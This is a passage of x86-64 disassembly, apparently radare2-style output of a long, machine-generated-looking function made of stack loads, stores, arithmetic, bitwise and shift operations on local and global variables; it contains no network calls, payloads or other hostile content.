mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9cb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov dword [rsp + 0x4fb4], eax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0x9d08]
mov ecx, dword [rsp + 0x4e88]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9cf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9160]
movzx eax, word [rax]
mov word [0x1401e89b8], ax
lea rax, [rsp + 0x10a8]
mov qword [rsp + 0x9d68], rax
movsx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0xeb], al
movsx eax, byte [rsp + 0x86]
movsx ecx, byte [rsp + 0xd7]
add eax, ecx
mov byte [rsp + 0xa7], al
lea rax, [0x1401e7008]
mov qword [rsp + 0x9d70], rax
mov rax, qword [rsp + 0x9850]
mov rcx, qword [rsp + 0x92e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [rsp + 0x9c60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9540]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f14]
mov dword [rsp + 0x4fb8], eax
lea rax, [rsp + 0x1158]
mov qword [0x1401e89c0], rax
movsx eax, word [rsp + 0x1044]
movsx ecx, word [rsp + 0x10d0]
add eax, ecx
mov word [rsp + 0x1124], ax
movzx eax, word [rsp + 0x100c]
mov word [rsp + 0x11a8], ax
movzx eax, word [rsp + 0x10c8]
movzx ecx, word [rsp + 0x1160]
add eax, ecx
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81]
sub eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov dword [rsp + 0x4fbc], eax
mov rax, qword [rsp + 0x9b30]
mov rcx, qword [rsp + 0x8af8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9700]
mov qword [rcx], rax
lea rax, [rsp + 0x8e90]
mov qword [rsp + 0x9d78], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4edc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xa5]
sar eax, cl
mov rcx, qword [0x1401e87c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x98a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9608]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x99b8]
mov word [rcx], ax
movzx eax, byte [0x1401e7033]
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x8e38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb6]
shl eax, cl
mov byte [rsp + 0x96], al
lea rax, [rsp + 0x1110]
mov qword [rsp + 0x9d80], rax
mov rax, qword [rsp + 0x98a0]
mov rcx, qword [rsp + 0x8ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x95a8], rax
mov eax, dword [rsp + 0x4eb0]
mov ecx, dword [rsp + 0x4d90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97a8]
mov eax, dword [rax]
mov dword [rsp + 0x4fc0], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x9d48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e708c], ax
lea rax, [rsp + 0x1160]
mov qword [rsp + 0x9d88], rax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0xed], al
movsx eax, word [rsp + 0x1080]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1068], ax
mov eax, dword [rsp + 0x4f24]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e1c]
mov dword [rsp + 0x4fc4], eax
mov rax, qword [rsp + 0x98f8]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e30], rax
lea rax, [0x1401e7010]
mov qword [rsp + 0x9d90], rax
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0x9218]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7043], al
movzx eax, word [rsp + 0x1054]
mov rcx, qword [rsp + 0x98a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [0x1401e8988]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9480]
mov byte [rcx], al
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0x9788]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10ac]
shl eax, cl
mov word [rsp + 0x108c], ax
mov eax, dword [0x1401e7004]
mov dword [rsp + 0x4fc8], eax
mov rax, qword [rsp + 0x9818]
mov rcx, qword [rsp + 0x9d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ea4], eax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0x9ac0]
mov qword [rsp + 0x9da0], rax
lea rax, [rsp + 0x1044]
mov qword [0x1401e89c8], rax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x1150]
and eax, ecx
mov rcx, qword [rsp + 0x9d68]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0xee], al
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x94d8]
mov byte [rcx], al
mov rax, qword [0x1401e7018]
mov qword [rsp + 0x9da8], rax
mov rax, qword [rsp + 0x9890]
mov ecx, dword [rsp + 0x4f10]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov dword [rcx], eax
lea rax, [rsp + 0x9098]
mov qword [rsp + 0x9db0], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4ec4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1140]
movsx ecx, word [rsp + 0x1008]
sub eax, ecx
mov rcx, qword [0x1401e8840]
mov word [rcx], ax
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0xef], al
movsx eax, byte [rsp + 0x7f]
movsx ecx, byte [rsp + 0xc4]
and eax, ecx
mov byte [rsp + 0xe5], al
movzx eax, word [rsp + 0x1198]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x112c], ax
movzx eax, word [rsp + 0x10d4]
mov word [rsp + 0x11ac], ax
mov eax, dword [rsp + 0x4f70]
mov ecx, dword [rsp + 0x4fb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f10], eax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov qword [rsp + 0x9db8], rax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x9af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9540]
mov qword [rsp + 0x9dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9dc0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x94b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov byte [rsp + 0xf0], al
movzx eax, word [rsp + 0x1020]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e70a8], ax
mov rax, qword [0x1401e8820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x114c], ax
lea rax, [rsp + 0xba]
mov qword [rsp + 0x9dc8], rax
movzx eax, byte [rsp + 0xde]
movzx ecx, byte [0x1401e8793]
xor eax, ecx
mov rcx, qword [rsp + 0x9010]
mov byte [rcx], al
mov rax, qword [rsp + 0x92c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9180]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0x9dd0], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9da0], rax
lea rax, [rsp + 0x4ef8]
mov qword [rsp + 0x9dd8], rax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a8], ax
movsx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0x9720]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e8794], al
lea rax, [rsp + 0x1198]
mov qword [rsp + 0x9de0], rax
movsx eax, word [rsp + 0x1044]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1144], ax
movzx eax, byte [rsp + 0xeb]
movzx ecx, byte [rsp + 0x9a]
sub eax, ecx
mov rcx, qword [rsp + 0x9548]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f38]
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0x9088]
mov rcx, qword [rsp + 0x9bf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9db8], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0x9de8], rax
mov rax, qword [rsp + 0x9960]
mov rcx, qword [rsp + 0x9700]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x92f8], rax
movzx eax, word [rsp + 0x1020]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ca0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd0]
mov byte [0x1401e87e2], al
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0x9148]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xaa], al
lea rax, [rsp + 0x115c]
mov qword [rsp + 0x9df8], rax
mov eax, dword [rsp + 0x4f0c]
movzx ecx, al
mov eax, dword [0x1401e7008]
shl eax, cl
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x92b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e94]
shr eax, cl
mov dword [rsp + 0x4db4], eax
lea rax, [rsp + 0x8ca8]
mov qword [rsp + 0x9e00], rax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8eb8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1160]
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x9c30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9660]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e87a5], al
movzx eax, byte [0x1401e7024]
movzx ecx, byte [rsp + 0x9b]
and eax, ecx
mov rcx, qword [rsp + 0x9070]
mov byte [rcx], al
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x114c]
add eax, ecx
mov word [rsp + 0xffc], ax
lea rax, [0x1401e8898]
mov qword [rsp + 0x9e08], rax
movzx eax, word [rsp + 0x1038]
mov rcx, qword [rsp + 0x9cb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4f84]
mov dword [rsp + 0x4fd0], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d78]
mov qword [rcx], rax
lea rax, [rsp + 0x94e8]
mov qword [rsp + 0x9e10], rax
mov eax, dword [rsp + 0x4eb8]
mov ecx, dword [rsp + 0x4f70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x9338]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e703e], al
movsx eax, word [rsp + 0x1128]
movsx ecx, word [rsp + 0x1014]
add eax, ecx
mov word [rsp + 0x1110], ax
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8930]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x97f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x111c]
mov word [rsp + 0x11b4], ax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9368], rax
mov eax, dword [0x1401e7008]
imul eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x4f58], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9530]
mov qword [rsp + 0x9e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4f2c], eax
mov rax, qword [0x1401e8800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e7046], al
mov rax, qword [rsp + 0x97a0]
movzx eax, byte [rax]
mov byte [rsp + 0xf2], al
movsx eax, word [rsp + 0x1050]
movsx ecx, word [rsp + 0x109c]
shl eax, cl
mov word [rsp + 0x10cc], ax
mov rax, qword [0x1401e8838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9830]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x9a28]
movzx eax, word [rax]
mov word [rsp + 0x11b8], ax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x9808]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f28], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0x9e28], rax
mov rax, qword [rsp + 0x9be0]
mov rcx, qword [rsp + 0x9368]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
lea rax, [rsp + 0x4e74]
mov qword [rsp + 0x9e30], rax
movzx eax, byte [0x1401e8795]
movzx ecx, byte [rsp + 0x8a]
and eax, ecx
mov byte [0x1401e7032], al
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9568]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x9b60]
movsx eax, word [rax]
movsx ecx, word [0x1401e7034]
add eax, ecx
mov rcx, qword [rsp + 0x9220]
mov word [rcx], ax
mov rax, qword [rsp + 0x9608]
movzx eax, word [rax]
mov word [rsp + 0x11bc], ax
mov rax, qword [rsp + 0x9de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
add eax, ecx
mov word [rsp + 0x11a0], ax
lea rax, [rsp + 0x8d50]
mov qword [rsp + 0x9e38], rax
mov rax, qword [rsp + 0x9d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e30]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov qword [rsp + 0x9e40], rax
movsx eax, word [0x1401e70a0]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e70ac], ax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x9b28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x76], al
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0xf3], al
movzx eax, word [rsp + 0x108c]
mov rcx, qword [rsp + 0x9ca0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ec8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x115c], ax
lea rax, section..data
mov qword [rsp + 0x9e48], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x91a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9db8], rax
lea rax, [rsp + 0x4ec0]
mov qword [rsp + 0x9e50], rax
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9058]
shl rax, cl
mov rcx, qword [rsp + 0x9c60]
mov qword [rcx], rax
lea rax, [rsp + 0xc6]
mov qword [0x1401e89d0], rax
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ca0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
lea rax, [rsp + 0xf2]
mov qword [rsp + 0x9e58], rax
movsx eax, word [0x1401e7034]
mov rcx, qword [rsp + 0x9b38]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1178], ax
movzx eax, word [rsp + 0xff4]
mov word [rsp + 0x11c0], ax
mov rax, qword [rsp + 0x98c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x9860]
mov qword [rsp + 0x9e60], rax
mov rax, qword [rsp + 0x97c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a88]
mov rcx, qword [rsp + 0x9088]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x9998]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8848]
mov byte [rcx], al
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
mov word [rsp + 0x11c4], ax
movsx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0x92c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x9770]
movzx eax, byte [rax]
mov byte [rsp + 0xf4], al
movsx eax, word [rsp + 0x10e8]
movsx ecx, word [rsp + 0x1108]
add eax, ecx
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
mov rax, qword [rsp + 0x9920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f08], eax
mov rax, qword [rsp + 0x9c60]
mov rax, qword [rax]
mov qword [rsp + 0x9e68], rax
mov rax, qword [rsp + 0x9980]
mov rcx, qword [rsp + 0x98c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c50]
mov eax, dword [rax]
mov dword [rsp + 0x4fd4], eax
mov rax, qword [rsp + 0x9d48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x105c]
or eax, ecx
mov word [0x1401e70b0], ax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0xe8]
sar eax, cl
mov byte [rsp + 0x97], al
mov rax, qword [0x1401e8878]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1004], ax
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0xf5], al
movsx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x97a0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x8e], al
lea rax, [rsp + 0x8f40]
mov qword [rsp + 0x9e70], rax
mov rax, qword [rsp + 0x9778]
mov ecx, dword [rsp + 0x4f10]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0x9838]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4e8c]
mov rcx, qword [rsp + 0x9940]
mov dword [rcx], eax
lea rax, [0x1401e7010]
mov qword [rsp + 0x9e78], rax
mov rax, qword [rsp + 0x8e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1058]
sub eax, ecx
mov word [rsp + 0x102c], ax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x9830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [str._DM_b], al
movzx eax, byte [rsp + 0xd7]
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x9ab8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1088], ax
lea rax, [rsp + 0x10c8]
mov qword [rsp + 0x9e80], rax
mov rax, qword [rsp + 0x8f18]
mov ecx, dword [rsp + 0x4fc0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x8c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9170], rax
lea rax, [rsp + 0x8b80]
mov qword [rsp + 0x9e88], rax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x93d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9738]
mov dword [rcx], eax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x9e90], rax
movsx eax, word [rsp + 0x1030]
movsx ecx, word [rsp + 0x105c]
sub eax, ecx
mov word [0x1401e7070], ax
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1174]
mov word [rsp + 0x11c8], ax
mov eax, dword [rsp + 0x4db4]
mov rcx, qword [rsp + 0x9c18]
mov qword [rsp + 0x9e98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0x94c8]
mov rax, qword [rax]
mov qword [rsp + 0x9ea0], rax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x8d80]
mov qword [rsp + 0x9ea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ea8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x98b0], rax
mov eax, dword [rsp + 0x4f08]
cdq
mov rcx, qword [rsp + 0x9580]
idiv dword [rcx]
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0x9830]
movzx eax, byte [rax]
mov byte [rsp + 0xf7], al
lea rax, [rsp + 0xb0]
mov qword [0x1401e89d8], rax
mov rax, qword [0x1401e8958]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10ac]
or eax, ecx
mov word [rsp + 0x10c8], ax
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0x9eb0], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc2], al
lea rax, section..data
mov qword [rsp + 0x9eb8], rax
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0x93e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0x9ce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9440]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9748]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cc4]
mov dword [rsp + 0x4fd8], eax
mov rax, qword [rsp + 0x9260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9740]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11a8], ax
movzx eax, word [rsp + 0x1048]
mov rcx, qword [0x1401e8860]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e87f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
mov byte [rsp + 0xf8], al
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [rsp + 0x97c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov byte [rcx], al
movsx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8f], al
lea rax, [rsp + 0x9e]
mov qword [rsp + 0x9ec0], rax
mov rax, qword [rsp + 0x9d18]
mov ecx, dword [rsp + 0x4e94]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9810]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov qword [rsp + 0x9ec8], rax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ef4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fa0], eax
lea rax, [rsp + 0xffc]
mov qword [0x1401e89e0], rax
lea rax, [rsp + 0x113c]
mov qword [rsp + 0x9ed0], rax
mov rax, qword [rsp + 0x9310]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov byte [rcx], al
lea rax, [rsp + 0x85]
mov qword [rsp + 0x9ed8], rax
mov rax, qword [0x1401e8858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x9a88]
mov rcx, qword [rsp + 0x8f98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9610]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4eec]
mov dword [rsp + 0x4fdc], eax
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e48]
mov dword [rcx], eax
lea rax, [rsp + 0x93e8]
mov qword [rsp + 0x9ee0], rax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a0]
shl eax, cl
mov rcx, qword [0x1401e8870]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcb]
and eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9560]
movzx eax, byte [rax]
mov byte [rsp + 0xf9], al
movzx eax, word [rsp + 0x1084]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9110]
mov word [rcx], ax
